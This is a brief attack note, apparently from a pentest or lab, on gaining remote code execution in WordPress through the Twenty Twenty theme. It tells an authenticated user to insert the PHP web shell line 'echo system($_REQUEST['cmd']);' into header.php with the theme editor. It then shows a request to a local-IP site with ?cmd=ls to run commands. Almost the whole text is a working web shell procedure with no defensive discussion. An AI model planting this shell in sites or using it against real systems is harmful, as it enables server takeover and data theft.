Twentytwenty (Theme)

Authenticated, from dashboard

[1]Navigate to appearance → theme editor → theme header.php

a)Top of php code editor, add bash one liner for RCE echo system($_REQUEST['cmd']);

b)Update and save

[2]Get RCE : http://192.168.101.109/wordpress/?cmd=ls